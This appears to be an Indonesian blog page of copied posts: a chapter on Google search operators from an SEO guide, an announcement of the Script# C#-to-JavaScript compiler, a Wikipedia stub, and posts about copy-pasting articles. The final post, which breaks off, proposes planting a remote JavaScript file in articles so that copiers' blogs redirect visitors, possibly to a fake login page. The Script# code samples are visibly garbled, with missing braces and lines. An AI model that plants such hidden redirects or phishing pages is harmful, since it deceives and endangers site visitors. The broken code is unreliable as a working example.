Kamis, Oktober 23, 2008

Search Engine Optimization for Dummies

Search Techniques You Should Know

If you want to optimize your site in the search engines, it's important to understand how people
search. I use Google for most of the examples in this bonus chapter because users perform 80
percent of all searches through Google or a Google partner. But other search engines work in a
similar way. Most people do simple multiword searches by typing the words into the search box
without any other kind of syntax. For instance, they might type rodent racing or rodent racing
scores or rodent racing scores alabama.
This is a simple AND search. It tells Google to "find all the pages with the word rodent, and the
word racing, and the word scores, and the word alabama." Nevertheless, you can search a number
of other ways by using two basic techniques:
* Use Google's Advanced Search page. (Other search engines generally have advanced search
pages, too.)
* Type the words into the search box using a particular syntax.

Many people prefer to use the Advanced Search page, shown in Figure BC-1, because they don’t
have to mess with the syntax. I prefer to type commands directly from the Google toolbar, which is
a little quicker. And to use some special commands, you have to type the command; you can’t
search from the Advanced Search page. (I show you how to download the Google toolbar in
Chapter 1.)
Both of these advanced search techniques can be very useful. In Chapter 2, for instance, you use
one of these techniques to find out which of your pages Google has indexed. More people are using
these search techniques every day.
You can get to the Advanced Search page from the Google home page by clicking the Advanced
Search link next to the search box.
Google Search Techniques
This section examines the different types of searches you can do. I explain how to use the Advanced
Search page, as well as how to use the special syntax to search directly from the search box on the
Google toolbar or home page.

Google uses word stemming, meaning that it looks for variations of the words you’re searching for,
and finds stems of the word. Search for rodent racing, for instance, and Google also finds rodent
Find All of the Words search
This type of search tells the search engine to find pages containing the keywords in no particular
order or location. This is the most basic search: an AND search.

The order in which you type the words affects the results. When doing a Find All of the Words
search, Google starts by doing a Find the Exact Phrase search, so the order is important.
Advanced Search page: Type the search words into the Find Results with All of the Words box
and then click the Google Search button
Toolbar/home page: Type the words into the search box and then press Enter or click the Google
Search button.
Syntax example: rodent racing scores
Google finds all the pages containing all three words: rodents, racing, and scores. If Google can't
find a page with all three words, it doesn’t return any pages.

Google is case insensitive. It doesn't care whether you type search words in uppercase, lowercase,
or mixed case. If you type RODENT RACING, it also finds rodent racing, Rodent Racing, and so
Find the Exact Phrase search
If you know the exact phrase you’re looking for, tell the search engine to return only pages with the
words in the order in which you type them. This type of search provides you with fewer search
results than the Find All of the Words search.
Advanced Search page: Type the words into the Find Results with the Exact Phrase box in the
order you expect to see those words in the search results.
Toolbar/home page: Type the words into the search box enclosed in quotation marks.
Syntax example: "rodent racing scores"
Find at Least One of the Words search
You can tell Google to find pages with any of the words or phrases you provide.
Advanced Search page: Type the words into the Find Results with At Least One of the Words box.
Toolbar/home page: Type the words into the search box separated by OR. The OR must be
capitalized, or it’s ignored (and you end up with an AND search).
Syntax example: rodent OR racing
This example search isn't terribly useful because you get a huge number of pages, most of which
aren’t related to rodent racing. They're either related to rodents or to racing. This technique is much
more useful when you use search phrases, such as "rodent racing" OR "racing rodents".

If you can’t remember what a particular search syntax is, here's a quick way to figure it out.
Suppose that you forget that you use the OR operator to tell Google to find any of the search words
you’ve entered. Enter your search words in the appropriate boxes on the Advanced Search page.
(For example, enter rodent racing in the Find Results with At Least One of the Words box.) Then
on the search results page, look at the search box at the top. Google displays the search syntax used
by the Advanced Search page for you: rodent OR racing.
Find common words
Google and most search engines ignore certain common words—such as a, the, and, where, how—and
some single digits and letters. For instance, if you search for King George I, when the search results
page appears, you see this message: "I" is a very common word and was not
included in your search.
If you really need to include the omitted word or character, two methods tell Google to include it:
Advanced Search page: Type the words into the Find Results with the Exact Phrase box in the
order you expect to see them in the search results. Or, use the Find Results with All of the Words
box and add a + (plus) sign immediately before the character or word that Google is ignoring.
Toolbar/home page: Type the words into the search box and enclose them in quotation marks. Or,
add a + (plus) sign immediately before the character or word that Google is ignoring.
Syntax example: "king george I" or king george +I
Search for synonyms
This search is a fun one. You can tell Google to find synonyms for you. For instance, searching for
synonyms of rodent racing returns pages with the phrases rat race and rodent performance.
Advanced Search page: The Advanced Search page has no tool for this kind of search.
Toolbar/home page: Precede words with ~.
Syntax example: ~rodent ~racing
Omit pages with particular words
You can tell Google to search for a phrase but to omit pages that contain particular words. For
instance, you may want to find all the pages with the phrase rodent racing but omit the pages
containing the word chevrolet. (Omitting Chevrolet in this case dramatically reduces the number of
results for some reason, which would probably be quite clear to me if I were a Chevrolet racing fan
rather than a geek.) As another example, suppose you’re searching for pages related to solaris, but
you’re not interested in the Sun Solaris servers; you’re looking for information on the novel Solaris
and the two movies. Searching for solaris -sun dramatically changes the results; try it, and you'll
see what I mean.
Advanced Search page: Type a search word or phrase into one of the top three Find Results boxes,
and then type the words that you don't want in the results into the Find Results without the Words
Toolbar/home page: Type a dash before the word you don't want to appear in the search results
Syntax example: "rodent racing" -chevrolet
This search phrase tells Google to look for all the pages containing the phrase rodent racing but to
exclude any pages containing the word chevrolet.
Search the page text
When Google searches, it looks at Web page text, tag text, URL text, and so on. If you
want, you can tell Google to look only at the text in the page and ignore everything else.
Advanced Search page: Type your search word or phrase into the top Find Results box, and then
select the In the Text of the Page option in the Occurrences drop-down list.
Toolbar/home page: Precede the words with allintext:.
Syntax example: allintext: rodent racing returns pages with only the words rodent and
racing in the page text in any order. allintext: "racing rodent" returns pages with the
words in that order.
Search between TITLE tags
You can tell Google to find all the search words in a page’s TITLE tags, which can sometimes
return excellent results.
Advanced Search page: Type your search word or phrase into one of the top three Find Results
boxes, and then select the In the Title of the Page option in the Occurrences drop-down list box.
Toolbar/home page: Precede the search terms with allintitle.
Syntax example: allintitle: rodent racing returns pages with only the words rodent
and racing in the title in any order. allintitle: "racing rodent" returns pages with the
words in that particular order.
Search between tags and elsewhere
You can combine a title search with a body search, telling Google to search for certain words in the
tags and search for other words in the rest of the page.
Advanced Search page: The Advanced Search page has no tool for this kind of search.
Toolbar/home page: Add intitle: before the words for which you want to search the
tags. The other words stand alone. Unlike the allintitle: command, don’t add a space between
intitle: and the search word.
Syntax example: intitle:rodent intitle:racing cobham searches for the words
rodent and racing between the page’s tags and searches for the word cobham in the rest
of the page.
Search the URL
You can search URLs—domain names, directory names, and filenames. However, Google won't find
the search words unless they’re separated by dashes or dots. For instance, a search on rodent racing
finds www.rodent-racing.com, www.rodentracing.com/rodent-racingscores.
html, or rodent.racing.com, but not www.rodentracing.com.
Advanced Search page: Type your search word or phrase into the top Find Results box and then
select In the URL of the Page in the Occurrences drop-down list.
Toolbar/home page: Precede the words with allinurl:.
Syntax example: allinurl: rodent revenge returns all pages with the words rodent and
revenge in the URL.
Search the URL and elsewhere
You can combine a URL search with a body search, telling Google to search for certain words in
the URL and for other words in the rest of the page.
Advanced Search page: The Advanced Search page has no tool for this kind of search.
Toolbar/home page: Add inurl: before the words for which you want to search the URL. The
other words stand alone. Unlike the allinurl: command, don’t add a space between inurl:
and the search word.
Syntax example: inurl:rodent inurl:racing cheats searches for the words rodent and
racing in the URL and searches for the word cheats in the rest of the page.
Search within a Web site
You can tell Google to search only within a particular Web site. This type of search is handy if
you're pretty certain that the information you want is in that site. It's also a great tool for finding out
how many pages on your site, or a competitor's site, are indexed by Google. And it allows you to
search within particular top-level domains.
Advanced Search page: Type your search term into one of the Find Results boxes. Ensure that
Only is selected in the Domain drop-down list and then type the domain you want to search in the
text box on that same line.
Toolbar/home page: Precede the URL with site: (with no space between site: and the site
name) and include search terms. Or, type a search term into the toolbar’s search box and then click
the Search Site button.
Syntax example: site:cnn.com iraq war searches just on cnn.com; site:org global
warming searches all .org sites.
To view all the pages on a site, enter this: site:cnn.com
Google will tell you how many pages it has indexed in the site.
Ignore a Web site
You can tell Google to omit a Web site from a search. If a particular site is returning a lot of results
and you know what you want isn’t there, you can run your search again and remove these spurious
results. Unlike the preceding command, you can ignore multiple sites or top-level domains at the
same time.
Advanced Search page: Type your search term into one of the Find Results boxes. Ensure that
Don't is selected in the Domain drop-down list and then type the domain you want to ignore in the
text box on that same line.
Toolbar/home page: Precede the URL with -site: (don’t add a space between site: and the
URL) and include search terms.
Syntax example: -site:cnn.com iraq war searches everywhere but cnn.com; -
site:org -site:gov global warming ignores all .org and .gov sites.
Find a page in the index
Google provides a way to search for a particular page to see if it's in the Google index. However,
Google is a little inconsistent in its results; sometimes it provides a lot of information about the
page and sometimes only a little (less than it has available). It also provides four links to other
types of searches: the page stored in the cache, pages that are similar, pages that link to the
specified page, and pages that contain the URL in their text.
Advanced Search page: The Advanced Search page provides no tool for this search.
Toolbar/home page: Type the URL of the page and click the Google Search button. (Don’t press
Enter if you’re using the toolbar, or you’ll load the specified page into the browser.) You may also
precede the URL with info: (with no space between info: and the URL), though there's no real
benefit to doing so.
Syntax example: info:rodent-racing.com or rodent-racing.com
See what's in the Google cache
You can ask Google to show you a copy of a page it has stored in its cache. A cache is a temporary
storage area. Google stores copies of most, though not all, of the pages it has indexed. You can
even highlight words in the cached document.
Advanced Search page: The Advanced Search page provides no tool for this search.
Toolbar/home page: Precede the URL of the page with cache:. Remember, that unlike some of
the other search syntaxes, you don’t add a space between cache: and the URL. You can also click
the i button on the toolbar and select Cached Snapshot of Page.
Syntax example: cache:http://cnn.com or cache:cnn.com
cache:cnn.com iraq opens the cached page and highlights the word iraq.

Under most entries in the search results page, you see a Cached link; click this link to view the
cached page.
Find pages linking to the specified page
Google provides a quick way to find pages linking to a particular page. Note that this command
doesn’t find all the pages linking to the specified page; it generally only finds pages with a
PageRank of 4 or better. (You find out more about PageRank in Chapter 14.)
Advanced Search page: Enter the URL into the Links—Find Pages That Link to the Page text box
and click Search. (You have to scroll down the page a bit to find the Links text box. It’s in the Page
Specific section.)
Toolbar/home page: Type link: and then the URL with no space in between. You can also open
a page in your browser; click the i button on the Google toolbar, and then select Backward Links.
Syntax example: link:http://cnn.com or link:cnn.com or link:www.cnn.com

This command is a little flaky. I recommend that you try using the domain name with and without
the www. piece because sometimes they return different results. In any case, you only get a small
subset of the incoming links; it’s of no real use. I actually considered totally omitting this syntax, as
it’s pretty worthless, but I think it’s worth knowing that it’s pretty worthless, so I decided to include
it. Yahoo!’s link search is much better, so if you want a quick idea of incoming links, go to Yahoo!,
search for site:domain.com, and then click the Inlinks (xxx) link you see near the top of the
results to have Yahoo! show you the incoming links.
Search Froogle for products for sale
You can search Froogle, Google's price comparison and shopping service. (Actually, it’s now
named Google Product Search, but Froogle sounds more fun and many in the business continue to
use that name.) Go directly to Froogle (froogle.com or
http://www.google.com/products) and search there. Or, on the Google home page, click
the Shopping link above the search box (or, sometimes, use the Products link—it seems to change).
You find out about Froogle in Chapter 17.
Topic- and domain-specific searches
Google provides several topic- and domain-specific searches, available from the Advanced Search
page or directly through a particular URL (which you can bookmark, of course).
You can search sites related to the following topics and domains:
* Apple Macintosh: google.com/mac
* Books: books.google.com
* BSD Unix: google.com/bsd
* Linux: google.com/linux
* Microsoft: google.com/microsoft.html
* "ews (up to the minute): news.google.com
* "ews archives: news.google.com/archivesearch
* Public source code: google.com/codesearch
* Scholarly papers: scholar.google.com
* Universities: www.google.com/options/universities.html
* U.S. Government .gov and .mil sites: google.com/unclesam
Search in a particular language
You can specify the language of the keyword or keyword phrase. You can also change your
preferences to tell Google to always search for a particular language or multiple languages. Click
the Preferences link on the Google home page.
Advanced Search page: Type your search term into one of the Find Results boxes and then select a
language from the Language drop-down list.
Toolbar/home page: You have to use the Advanced Search page to do this search.
Specify and ignore file formats
You can tell Google to search only for a particular file format or to ignore a file format. Google can
search a variety of file types, such as Adobe Acrobat, PostScript, Microsoft Word, Microsoft Excel,
Microsoft PowerPoint, and Rich Text Format files.
Advanced Search page: Type your search term into one of the Find Results boxes, and then select
either Only (if you want to restrict the search to a particular file type) or Don't (if you want to
ignore a file type) from the File Format drop-down list. Then pick the file format from the dropdown
list to the right.
Toolbar/home page: Precede the file type—the extension—with filetype:. Do not include a
space between filetype: and the file extension.
Syntax example: rodent racing filetype:pdf finds the words rodent and racing in PDF
(Adobe Acrobat) files. rodent racing -filetype:pdf tells Google to search all file types
but PDF. rodent -filetype:ppt -filetype:pdf tells Google to search all types with the
exception of PPT and PDF files.
Note that you can tell Google to ignore multiple file types, but you can’t tell it to restrict searches
to multiple file types.
Look for recent changes
Google allows you to search for pages that have been added or updated during a specific time.
Advanced Search page: Type your search term into one of the Find Results boxes and then select a
time period from the Date drop-down list—currently your choices are the last 3, 6, or 12 months.
Toolbar/home page: Using the search box is more difficult. You can use the daterange:
command, but you have to convert the date range you want into the Julian calendar. (Search at
Google for julian date converter to find a conversion tool.) Using this command, you can search all
the new pages indexed, say, this week, for a particular keyword. However, Google doesn't
guarantee that daterange: will work; reportedly, it sometimes returns weird results.
Syntax example: rodent racing daterange:2453126- 2453132
A tool will do this work for you, but you won’t find it at Google. Go to the GooFresh tool at
ResearchBuzz (www.researchbuzz.org/archives/001405.shtml). This tool allows you
to search Google for updates made today, yesterday, within the last week, or the 30 days.
Ignore sexual content
If a search phrase you’re working with is, um, a double entendre—if you're getting a lot of sexrelated
results when that's not what you're looking for—Google enables you to ignore this sexual
content. And no, Google won't let you restrict searches to only sexual content.
Google has a feature called SafeSearch, which, by default, is set to medium. This means Google
censors what it thinks are probably explicit images when you use the Image search (discussed later
in the chapter). However, you can also set SafeSearch to filter both text and images. You can do
this two ways:
* Advanced Search page: Use SafeSearch once and it remains turned on until you click the
Google SafeSearch is ON link on the search results page.
* Preferences page: You find a Preferences link on the home page.
Find similar pages
You can search for pages that are similar to the specified page. Sometimes this search works well,
but often it doesn't. (I don't think the Gaelic Language page at the University of Edinburgh has
much in common with Amazon.com.)
Advanced Search page: Enter the URL into the Similar—Find Pages Similar to the Page text box
and click Search. (Again, you need to scroll down the page a bit to find this.)
Toolbar/home page: Type related: and then the URL with no space in between.
Syntax example: related:http://cnn.com or related:cnn.com or
Find the definition of a word
You can quickly search for the definition of a word. This isn’t really search engine optimization
related, but I thought I'd include it anyway.
Advanced Search page: The Advanced Search page has no tool for this search.
Toolbar/home page: Type define: and then the word.
Syntax example: define:rodent
If you include multiple words, Google tries to find a definition for the complete term.
Search for a stock ticker symbol
You can ask Google for information about a particular stock or several stocks. The search results
will include several links to financial sites such as Yahoo! Finance, Quicken, and the Motley Fool.
Advanced Search page: The Advanced Search page has no stocks tool.
Toolbar/home page: Type stocks: and then the stock symbol(s).
Syntax example: stocks:ibm msft yhoo
Other Google Searches and Products
Google provides other search methods that you should be aware of, some of which have
implications on how you optimize your site.
Google Image Search
On the Google home page, click the Images tab. When you search from this page, Google looks for,
um, images. It shows you thumbnails of images it thinks match the search term, based on words it
finds in the filename, the tag, and the body of the Web page close to the image. It’s a neat
little trick. I just searched on my own name, and within five seconds, I saw a page that contained 20
images, 3 of which contained me, and 2 of which were pictures of books I've written, as well as
several pictures of people who have stolen my name.
Google Groups
Choose the Groups link on the More menu on the Google main page to see Usenet discussion
groups (often known as newsgroups). Google stores newsgroup messages, which originally required
you to use special newsreader programs to view them. When you search Usenet through Google,
you see a results page that looks similar to a Web-search results page. Click a link, and you see a
message in your browser in a Google Web page.
Google Directory
Go to dir.google.com to view the Google Directory, which contains data provided by the Open
Directory Project (dmoz.org). You can browse categories by clicking links. If you've used Yahoo!
Directory (dir.yahoo.com), you'll find this system very similar.
Google News
Click the News link on the main page or go to news.google.com to find this great site for news
junkies. Browse news stories from 4,500 news sources—the obvious sources, such as UPI, the
Washington Post, Reuters, and so on, and many little-known sources from around the world. (Only
4,500? Google’s been claiming that for years now, so maybe it’s much more and they’ve forgotten
to change the claim.)
Google Alerts
Google’s Alerts (www.google.com/alerts) is a handy tool that keeps you updated with
changes on the Web. Enter your keywords, what you want to search—News, the Web, News and the
Web, or Google Groups—specify how often you want updates (immediate, once a day, or once a
week), and provide your e-mail address. Google will e-mail you when it finds matching Web pages,
news articles, or discussion group messages. A great way to keep informed.
And more
Here are a few other Google products you may want to know about. Go to the More Google
Products page (www.google.com/options/) to find them.
* Google Desktop: Use Google’s technology to search your own computer
* Google Video: Search TV shows and videos
* Blog Search: Search through thousands of blogs
* Google Earth: Search combined with satellite images, maps, and more
* Google Finance: Search financial information
* Patent Search: Search the U.S. Patent Office
Go to www.google.com/help/features.html to find other search systems, such as
PhoneBook, Street Maps, Web Page Translation, Music and Movies, and so on.
The Other Search Systems
Google is the monster, the system everyone is interested in because it's everywhere. It’s not just at
www.google.com; it’s also on AOL.com, Earthlink.com, WashingtonPost.com, and many others.
The other search systems have similar search tools. I'm not going to describe each tool in detail
because this landscape is constantly changing. If you want to search at another site, dig around a
little to find instructions. You may need to do a search first before you can get to a page that
provides instructions. Portal sites, such as MSN.com and AOL.com, often provide a search box and
button, but no instructions. However, after you’ve searched once and entered the full search area,
you can find instructions. Look for the Advanced Search and Search Help pages. You'll find similar
services to the ones I describe.

or download here

Read More......


Script# brings the C# developer experience (programming and tooling) to Javascript/Ajax world. This post shares a project for enabling script authoring via C#...

Script# brings the C# developer experience (programming and tooling) to Javascript/Ajax world. Yep, I am finally publicly sharing a spare time project I've been working on the side in an off and on manner for some time now.

A Better Scripting Environment

The fundamental goal was to improve the state of the art in scripting. This goes way beyond the usual things that come to mind at first thought: compile-time checking, and intellisense or statement completion. I do think these are super-useful, and would be valuable in and of themselves. As we worked on Atlas we were also thinking of a great tools experience, and we explored different approaches and technologies for achieving this. Script# is a prototype of one such exploration. It attempts to address some programming environment requirements:

  • A clean language with the natural constructs. Today with script, you can go a long ways in simulating OOP (classes, interfaces, inheritance etc.), but the simulations are thrown at the face of the developer. Various C# constructs such as properties, events, and syntax for defining inheritance go a long way in making the code readable. Similarly modifier keywords like public vs. protected vs. internal, sealed vs. virtual etc. help define a better object model. All of this can be brought into the scripting world.

  • Easier refactoring and exploration. Script development could benefit immensely from the refactoring, and class browsing support already present in the IDE and in tools such as .NET Reflector. Both lend themselves to having a more manageable code base over time.

  • Ability to generate documentation. Again doc-comments from C# and the existing infrastructure could be leveraged here.

  • Ability to customize the script code easily. For example, I'll show debug vs. release and minimization below. The same idea could apply to building a version of the script that had more error checking or logging built in when you do need to run diagnostics. The approach could also be used to include instrumentation for the purposes of profiling, measuring code coverage, etc. Another interesting aspect of this project is that it will be able to generate script catering to multiple script profiles such as the current Javascript language, as well as Javascript 2 when it appears.


I'll use the Ajax version of the timeless Hello World scenario to illustrate the model. Imagine a simple page with textbox, button and label:

<input type="text" id="nameTextBox" />
<input type="button" id="okButton" value="OK" />
<span id="helloLabel"></span>

Now I want to write the script for this page to add some UI logic. I'll create HelloWorld.cs with the following code to handle the button click, extract the name entered into the textbox, make a request using XMLHttp and finally display the result in a label.

using System;
using ScriptFX;
using ScriptFX.UI;

namespace HelloWorld {

public class HelloWorldScriptlet : IScriptlet {

private Button _okButton;
private TextBox _nameTextBox;
private Label _helloLabel;

private XMLHttpRequest _request;

public void Start() {
_okButton = new Button(Document.GetElementById("okButton"));
_nameTextBox = new TextBox(Document.GetElementById("nameTextBox"));
_helloLabel = new Label(Document.GetElementById("helloLabel"));

_okButton.Click += new EventHandler(OnOKButtonClick);

private void OnOKButtonClick(object sender, EventArgs e) {
Callback completedCallback = new Callback(this.OnRequestComplete);

_request = new XMLHttpRequest();
_request.Onreadystatechange = Delegate.Unwrap(completedCallback);
_request.Open("GET", "Hello.axd?name=" + _nameTextBox.Text, /* async */ true);

private void OnRequestComplete() {
if (_request.ReadyState == 4) {
_request.Onreadystatechange = null;

string greeting = _request.ResponseText;
_helloLabel.Text = greeting;

Basically this shows a couple of super-simple class HelloWorldScriptlet class. It's a pleasure to write it in C#. Now its time for some Script# magic.

ssc /ref:sscorlib.dll /ref:Script.ScriptFX.Core.dll /debug /out:HelloWorld.js HelloWorld.cs

Running the Script# compiler (ssc.exe) generates HelloWorld.js which looks like this:


// HelloWorld.HelloWorldScriptlet

HelloWorld.HelloWorldScriptlet = function Scenarios_HelloWorldScriptlet() {
HelloWorld.HelloWorldScriptlet.prototype = {
_okButton: null,
_nameTextBox: null,
_helloLabel: null,
_request: null,

start: function Scenarios_HelloWorldScriptlet$start() {
this._okButton = new ScriptFX.UI.Button(document.getElementById('okButton'));
this._nameTextBox = new ScriptFX.UI.TextBox(document.getElementById('nameTextBox'));
this._helloLabel = new ScriptFX.UI.Label(document.getElementById('helloLabel'));
this._okButton.add_click(new Delegate(this, this._onOKButtonClick));

_onOKButtonClick: function Scenarios_HelloWorldScriptlet$_onOKButtonClick(sender, e) {
var completedCallback = new Delegate(this, this._onRequestComplete);
this._request = new XMLHttpRequest();
this._request.onreadystatechange = Delegate.unwrap(completedCallback);
this._request.open('GET', 'Hello.axd?name=' + this._nameTextBox.get_text(), true);

_onRequestComplete: function Scenarios_HelloWorldScriptlet$_onRequestComplete() {
if (this._request.readyState == 4) {
this._request.onreadystatechange = null;
var greeting = this._request.responseText;

HelloWorld.HelloWorldScriptlet.registerClass('HelloWorld.HelloWorldScriptlet', null, ScriptFX.IScriptlet);

Notice how the class is converted into its Javascript equivalent: a function, and methods on its prototype. Further, notice how this automatically generates calls to register the function as a class. The compiler provides a nice natural model for declaring the inheritance hierarchy. Other things to call out are conversion of of C#-based event and property accesses with Javascript simulations. Essentially, let the compiler do the hard work, so you don't have to mentally work against an OOP simulation. Finally, since the compiler was passed the /debug flag, it provides a name to each method (anonymous methods aren't friendly in the debugger)... again this happens automagically. There is a lot more to show that a simple sample doesn't get across in terms of the capabilities of the conversion.

The generated code can now be used in the page via a regular <script> tag.

<script type="text/javascript" src="sscorlib.js"></script>
<script type="text/javascript" src="ssfxcore.js"></script>
<script type="text/javascript" src="HelloWorld.js"></script>
<script type="text/javascript">
ScriptFX.Application.Current.run(new HelloWorld.HelloWorldScriptlet());


The Script# compiler can optionally generate an assembly containing the .js file as a resource. An associated server control can then use the ASP.NET WebResources feature to include the scriptlet into the page in a simpler manner.

ssc /ref:sscorlib.dll /ref:Script.ScriptFX.Core.dll /debug /assembly:HelloWorld.dll /out:HelloWorld.js HelloWorld.cs

<nStuff:Scriptlet runat="server"
ScriptAssembly="HelloWorld" ScriptletType="HelloWorld.HelloWorldScriptlet" />

The compiler has the notion of debug and release builds.

ssc /ref:sscorlib.dll /ref:Script.ScriptFX.Core.dll /minimize /out:HelloWorld.js HelloWorld.cs

Running the compiler without /debug and with /minimize produces a release build as shown below (I've intentionally added some line breaks for display purposes):

this.$0=new ScriptFX.UI.Button(document.getElementById('okButton'));
this.$1=new ScriptFX.UI.TextBox(document.getElementById('nameTextBox'));
this.$2=new ScriptFX.UI.Label(document.getElementById('helloLabel'));
this.$0.add_click(new Delegate(this,this.$4));},
var $2=new Delegate(this,this.$5);
this.$3=new XMLHttpRequest();
var $0=this.$3.responseText;

As you'll notice all insignificant whitespace has been trimmed out. Furthermore, there is minimization of identifiers (which are amongst the biggest contributors to script size) with identifiers named as $0, $1 etc. What is super exciting is that the Script# compiler can use all the information present in C# source code to allow it to maximize the minimization. This includes information about which members are internal/private vs. which ones are public. For example, the _okButton member of the class is now $0 and the OnRequestComplete method is $5.

Beyond generation of script in a smarter way, Script# helps improve the script authoring model within the IDE. Despite programming the DOM for several months now, I still need a browser window constantly open to browse MSDN reference documentation on the DOM. With Script# here is what I get:

Specific things to notice are the intellisense and statement completion popups and tooltips offered by the C# editor, as it reflects on the sscorlib assembly referenced by this project.

Essentially, I've introduced the notion of a Script# class library project, and associated msbuild targets file and task for integrating the experience into Visual Studio 2005. Building builds both a .dll assembly, and an associated .js file, that you can now deploy with your web project.

I have put together a 10 min video of this scenario. This is an experiment in itself with me putting out a video to get some concepts out (so feedback appreciated on this as well).

How does it work?

Essentially the Script# compiler is a C# compiler that generates Javascript instead of IL. A key driving goal of the design is to produce readable Javascript that you may have authored yourself, and would be ok deploying into real apps. Hence the translation works at the C# level, as opposed to converting from IL to script, and the converter doesn't add any levels of abstraction itself.

There are a set of C# things that don't make sense (eg. lock, unsafe etc.) and set of things I don't support yet (like generics). The converter does however provide support for key C# patterns such as foreach, delegates, and things like Debug conditionals. The associated class library (sscorlib, equivalent of mscorlib) is also tuned to Javascript. It doesn't contain the same stuff as mscorlib does. The approach I have taken is not to create a converter that converts an arbitrary existing application written in C#, and convert it to Javascript with something like a winforms abstraction layer. Instead, like Atlas, the idea behind Script# is oriented at providing an engineering approach and superior environment to developing applications using HTML/CSS and Javascript in a more productive, scalable and maintainable manner.

There is a small set of Javascript specific things (specifically closures and more functional style programming) that aren't supported in the conversion. I think there are equivalent alternatives, but I'd be interested in feedback nonetheless. The implementation does allow you to hand-code some Javascript and expose it to the C# code in the form of assembly metadata. This provides a nice out for incorporating something that exists already, or something that needs more hand tuning. I'll go into this some in a later post.

Some historical context and downloadable bits...

A number of people have wondered if our OOP-based type system in Atlas was a precursor to enabling C#-based development in the browser, and I'll answer to that directly now. The idea of using C# to author script emerged at almost the same time we started actively writing script, and I missed everything I took for granted from C#. In December, while on vacation, I decided to finally get down to writing a compiler that could enable this.

Since then, the work has proceeded to a point where it can be used to generate useful script. I was planning on posting an announcement just last week. It's very coincidental that the folks at Google have been thinking along similar lines. I guess I should have posted this stuff a few days back :-) Regardless, I have an initial release ready... You can download the Script# compiler along with the sample. Keep in mind it is raw in quite the literal sense (and if you do try it, make sure your code compiles as valid C# first). I'll need some more time to get it to a crisper state, providing better integration into Web projects, and simplifying some key C# scenarios. This will happen over time as this is a spare time prototype. In the meantime, the download will give you a sense of the experience. I'm definitely open to feedback, and look forward to comments.

Scripting Challenges and Future Vision

Recently, I posted my wish list for the browser and scripting world, and I wanted to speak to things relating and coming together from an overall vision perspective. At the end of the day, the end result of translation is still script. There are still some unsolved challenges in terms of a limited runtime environment in the browser, cross-browser differences etc. Furthermore translation-based models add a wrinkle to the debugging experience. Script# provides a tool to incrementally improve script authoring in the short term. We want to provide great tools and frameworks that target native scripting as it exists today with things like Atlas. Longer term, the real solution for rich Web applications is a combination of WPF/E (as shown at MIX06), and a cross-platform CLR that can be hosted in the browser allowing direct authoring and execution of managed code and fully benefiting from the model.

copy paste dari :

Read More......


From Wikipedia, the free encyclopedia

Look up script in Wiktionary, the free dictionary.

Script may refer to:

Script can also be used for:

copy paste dari :

Read More......

Rabu, Oktober 22, 2008

[ open copy license ] how to copy paste on open copy blog

Seperti yang kami tulis dalam artikel sebelumnya bahwa kami membuka lebar - lebar isi blog kami ini untuk di copy ( baca : CoPas ) untuk ditulis ulang, disebar luaskan atau dijadikan sebagai ide awal sebuah penulisan artikel baru.

Tujuannya tidak lain adalah untuk menggairahkan semangat para blogger pemula untuk berani menulis artikel.

Cara terbaik untuk melakukan Copy Paste pada blog yang mencantumkan OPEN COPY LICENSE banner adalah :

1. Sebaiknya lakukan Copy Paste tidak lebih dari 30% isi artikel. Konon hal ini dilakukan agar blog yang di Copy dan blog yang di Paste sama - sama tidak kena pinalti Duplicate Content ( buat para senior mohon pencerahan atas hal ini )

2. Tulisan hasil Copy-an sebaiknya dijadikan ide awal untuk dikembangkan menjadi sebuah artikel yang lebih informatif.

3. Untuk menghormati penulis artikel yang di copy dan demi menjaga validitas sebuah informasi, mencantumkan link sumber artikel ( back link ) akan sangat dihargai.

4. Bila anda pernah atau sering melakukan Copy Paste, dengan penuh kerendahan hati dimohon kesediaannya untuk membuka lebar - lebar artikel blog anda untuk di copy oleh rekan blogger yang lain.

Untuk rekan blogger pemula yang lain, kami adalah blogger pemula juga, kini saat nya kita untuk memberanikan diri memulai menulis artikel di blog kita. Mari kita jadikan blog sebagai media berbagi.

copy paste dari :

Read More......

Copy Artikel = Menjatuhkan Brand

Copy Paste ArtikelBagi kita yang lagi kehabisan ide posting, copy artikel adalah jalan satu satunya. Kita mungkin tidak mau dijiluki sebagai pengcopy artikel. Untuk itu, kita kopas *copy-paste* kode yang telah disedia’in ama empunya kayak di cosaaranda.com bagian sidebar. Tapi menurut pengamatanku, postingan yang isinya ngopy dari blog lain itu pasti postingan yang paling sedikit comentnya, dan paling jarang dikunjungi. Jadi Copy Artikel = Menjatuhkan Brand :hiks: .

Sebagai contoh liat postingan ini. Padahal kalo kita liat, isi postingannya bagus kok. Postingan aslinya di cosaaranda.com commentnya banyak banget. Nah, jika kamu mempunyai pengunjung setia dan pengunjung itu membaca posting kopas mu, maka pengunjung itu akan meninggalkan blogmu dan akan berpindah ke blog tempat artikel itu pertama dipublikasikan :argh:. dengan kata lain, kalo kamu kopas artikel, kamu menguntungkan pihan penulis dengan 2 jalur. Yaitu backlink dan Pengunjung setia… :nangis: .

Sejak itu, aku ngerti bahwa artikel tulisan sendiri jauh lebih baik daripada kopas punya orang. So, berhenti kopas artikel dan mulailah ngeblog dengan pikiranmu sendiri. Catatan : Blog ini gak ada kodenya, jadi dilarang kopas yaa…. Yang boleh kopas cuma di Alat Alat Blog

Copy paste dari :

Read More......

Mengatasi Si Tukang Copy Paste

Istilah copy paste pada dunia internet mengacu pada duplikasi content suatu blog / website. Copy paste (Copas) sebenarnya bukan hal yang tabu dilakukan, namun yang sering terjadi adalah banyak yang melakukan copy paste tanpa mencantumkan sumbernya ! Kalau yang memang khilaf / kelupaan itu masih bisa dimaklumi, namun banyak juga yang pura -pura lupa, tidak mengakui, atau malah meledek ketika kita berikan pemberitahuan agar tidak lupa mencantumkan sumbernya.

Sedikit kesal juga rasanya kalau sudah begitu. Bahkan Cosa Aranda blogger kawakan asal Surabaya ini memiliki tempat khusus untuk orang - orang yang melakukan copy paste terhadap artikelnya tanpa izin.

Nah singkat kata berikut ini ada beberapa tips guna menanggulangi / melakukan tindakan terhadap pelaku copy paste yang tidak mencantumkan sumbernya.

Javascript Mari Bung Rebut Kembali !!!

Cara ini adalah dengan menyisipkan remote link kode javascript pada artikel blog kita, berikut adalah langkah - langkahnya.

1. Membuat file remote js:


Nah ganti url google.com menjadi url yang kita inginkan supaya blog si tukang copas ter-direct. Bisa diset ke url blog kita, atau fake login (kalau mau lebih jahat lagi :D ) lalu copy dan paste ke teks editor seperti notepad, kemudian di save as dalam format .js. Misal nama filenya jadi: script.js.

Simpan dulu file ini… lalu rencanakanlah tempat menguploadnya misal:


